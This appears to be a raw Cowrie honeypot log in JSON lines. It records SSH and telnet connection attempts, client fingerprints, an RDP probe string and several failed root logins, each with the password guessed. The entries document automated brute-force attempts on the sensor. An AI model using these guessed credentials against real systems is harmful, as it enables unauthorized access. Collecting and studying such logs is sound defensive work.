{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":56044,"dst_ip":"10.17.0.5","dst_port":22,"session":"91433d13e9fe","protocol":"ssh","message":"New connection: 52.236.56.129:56044 (10.17.0.5:22) [session: 91433d13e9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:33.160923Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:33.165813Z","src_ip":"52.236.56.129","session":"91433d13e9fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:33.232213Z","src_ip":"52.236.56.129","session":"91433d13e9fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123321","message":"login attempt [root/Abc123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:33.531356Z","src_ip":"52.236.56.129","session":"91433d13e9fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:34.602113Z","src_ip":"52.236.56.129","session":"91433d13e9fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":43636,"dst_ip":"10.17.0.5","dst_port":22,"session":"886c8ce20b9b","protocol":"ssh","message":"New connection: 165.154.227.158:43636 (10.17.0.5:22) [session: 886c8ce20b9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:39.176255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:39.181206Z","src_ip":"165.154.227.158","session":"886c8ce20b9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:39.399064Z","src_ip":"165.154.227.158","session":"886c8ce20b9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tunombre","message":"login attempt [root/tunombre] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:40.296617Z","src_ip":"165.154.227.158","session":"886c8ce20b9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:41.520897Z","src_ip":"165.154.227.158","session":"886c8ce20b9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49196,"dst_ip":"10.17.0.5","dst_port":23,"session":"4977635b82e6","protocol":"telnet","message":"New connection: 152.42.224.71:49196 (10.17.0.5:23) [session: 4977635b82e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:54.450526Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":33846,"dst_ip":"10.17.0.5","dst_port":22,"session":"d27057e8fa50","protocol":"ssh","message":"New connection: 117.121.214.50:33846 (10.17.0.5:22) [session: d27057e8fa50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:59.736538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:59.742870Z","src_ip":"117.121.214.50","session":"d27057e8fa50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:40:59.994979Z","src_ip":"117.121.214.50","session":"d27057e8fa50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dd123456","message":"login attempt [root/Dd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:01.034336Z","src_ip":"117.121.214.50","session":"d27057e8fa50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.97321105003357,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:01.904088Z","src_ip":"152.42.224.71","session":"771d32f61da7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:02.341512Z","src_ip":"117.121.214.50","session":"d27057e8fa50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52156,"dst_ip":"10.17.0.5","dst_port":23,"session":"8cfc6c1fd2ad","protocol":"telnet","message":"New connection: 152.42.224.71:52156 (10.17.0.5:23) [session: 8cfc6c1fd2ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:08.518351Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52164,"dst_ip":"10.17.0.5","dst_port":23,"session":"3c4e6fd54d1d","protocol":"telnet","message":"New connection: 152.42.224.71:52164 (10.17.0.5:23) [session: 3c4e6fd54d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:10.384959Z"}
{"eventid":"cowrie.session.closed","duration":50.67573022842407,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:13.294147Z","src_ip":"152.42.224.71","session":"2963e294b1ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53972,"dst_ip":"10.17.0.5","dst_port":23,"session":"24c13aad58a4","protocol":"telnet","message":"New connection: 152.42.224.71:53972 (10.17.0.5:23) [session: 24c13aad58a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:26.563362Z"}
{"eventid":"cowrie.session.closed","duration":120.00434970855713,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:35.791761Z","src_ip":"152.42.224.71","session":"719d8cfbce83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39568,"dst_ip":"10.17.0.5","dst_port":23,"session":"23899ecaf704","protocol":"telnet","message":"New connection: 152.42.224.71:39568 (10.17.0.5:23) [session: 23899ecaf704]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:35.796573Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39852,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffc6cbb0aa64","protocol":"telnet","message":"New connection: 152.42.224.71:39852 (10.17.0.5:23) [session: ffc6cbb0aa64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:46.649771Z"}
{"eventid":"cowrie.session.closed","duration":53.82041144371033,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:48.270801Z","src_ip":"152.42.224.71","session":"4977635b82e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00261569023132,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:49.364175Z","src_ip":"152.42.224.71","session":"7972246ea22c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51192,"dst_ip":"10.17.0.5","dst_port":22,"session":"e4bbd3ec48d1","protocol":"ssh","message":"New connection: 152.42.212.128:51192 (10.17.0.5:22) [session: e4bbd3ec48d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:50.976097Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:50.981205Z","src_ip":"152.42.212.128","session":"e4bbd3ec48d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:50.985865Z","src_ip":"152.42.212.128","session":"e4bbd3ec48d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":3506,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0efb2ada9a0","protocol":"ssh","message":"New connection: 165.154.227.158:3506 (10.17.0.5:22) [session: a0efb2ada9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:58.181098Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:58.185923Z","src_ip":"165.154.227.158","session":"a0efb2ada9a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:58.416500Z","src_ip":"165.154.227.158","session":"a0efb2ada9a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"reader","message":"login attempt [root/reader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:41:59.369344Z","src_ip":"165.154.227.158","session":"a0efb2ada9a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:00.603634Z","src_ip":"165.154.227.158","session":"a0efb2ada9a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"52.236.56.129","src_port":55972,"dst_ip":"10.17.0.5","dst_port":22,"session":"78f31d604e2a","protocol":"ssh","message":"New connection: 52.236.56.129:55972 (10.17.0.5:22) [session: 78f31d604e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:04.670104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:04.675054Z","src_ip":"52.236.56.129","session":"78f31d604e2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:04.741738Z","src_ip":"52.236.56.129","session":"78f31d604e2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"metin2","message":"login attempt [root/metin2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:05.043687Z","src_ip":"52.236.56.129","session":"78f31d604e2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:06.114067Z","src_ip":"52.236.56.129","session":"78f31d604e2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59218,"dst_ip":"10.17.0.5","dst_port":23,"session":"df043d314671","protocol":"telnet","message":"New connection: 152.42.224.71:59218 (10.17.0.5:23) [session: df043d314671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:06.363680Z"}
{"eventid":"cowrie.session.closed","duration":58.244673013687134,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:06.762871Z","src_ip":"152.42.224.71","session":"8cfc6c1fd2ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47582,"dst_ip":"10.17.0.5","dst_port":23,"session":"16e2728417f5","protocol":"telnet","message":"New connection: 152.42.224.71:47582 (10.17.0.5:23) [session: 16e2728417f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:17.377245Z"}
{"eventid":"cowrie.session.closed","duration":40.077266693115234,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:26.726901Z","src_ip":"152.42.224.71","session":"ffc6cbb0aa64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.39822006225586,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:30.194722Z","src_ip":"152.42.224.71","session":"23899ecaf704","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38364,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a8c2808c30","protocol":"telnet","message":"New connection: 152.42.224.71:38364 (10.17.0.5:23) [session: 51a8c2808c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:39.508428Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38378,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a7ff1974678","protocol":"telnet","message":"New connection: 152.42.224.71:38378 (10.17.0.5:23) [session: 1a7ff1974678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:43.128693Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.173.227.57","src_port":33746,"dst_ip":"10.17.0.5","dst_port":22,"session":"70c4cc1ce3df","protocol":"ssh","message":"New connection: 103.173.227.57:33746 (10.17.0.5:22) [session: 70c4cc1ce3df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:51.764714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:51.769665Z","src_ip":"103.173.227.57","session":"70c4cc1ce3df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:52.005719Z","src_ip":"103.173.227.57","session":"70c4cc1ce3df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.94097828865051,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:52.304553Z","src_ip":"152.42.224.71","session":"df043d314671","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"78963214","message":"login attempt [root/78963214] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:52.713305Z","src_ip":"103.173.227.57","session":"70c4cc1ce3df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:53.952434Z","src_ip":"103.173.227.57","session":"70c4cc1ce3df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42598,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e1c2f94ad5","protocol":"telnet","message":"New connection: 152.42.224.71:42598 (10.17.0.5:23) [session: b3e1c2f94ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:54.372680Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.96.193.72","src_port":36384,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1607b4634fa","protocol":"ssh","message":"New connection: 119.96.193.72:36384 (10.17.0.5:22) [session: c1607b4634fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:42:58.053823Z"}
